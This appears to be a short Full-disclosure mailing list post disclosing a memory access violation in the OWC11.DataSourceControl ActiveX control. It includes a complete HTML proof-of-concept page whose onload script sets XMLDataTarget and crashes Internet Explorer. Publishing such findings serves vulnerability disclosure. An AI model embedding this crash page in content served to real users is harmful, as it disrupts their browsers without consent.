[Full-disclosure] Office Web Controls DataSourceControl Memory Access Violation

There is an un-handled memory access violation in the OWC11.DataSourceControl. 
As far as I know, I don't think it is possible to execute code via this, the 
worst it can do is crash Internet Explorer. PoC as follows:

------------------
<!--

-->
<html>
 <head>
  <script language="JavaScript" DEFER>
    function Check() {
      var obj = new ActiveXObject("OWC11.DataSourceControl"); 
     
      obj.XMLDataTarget = "A";

 }
  </script>

 </head>  
 <body onload="JavaScript: return Check();" />
</html>
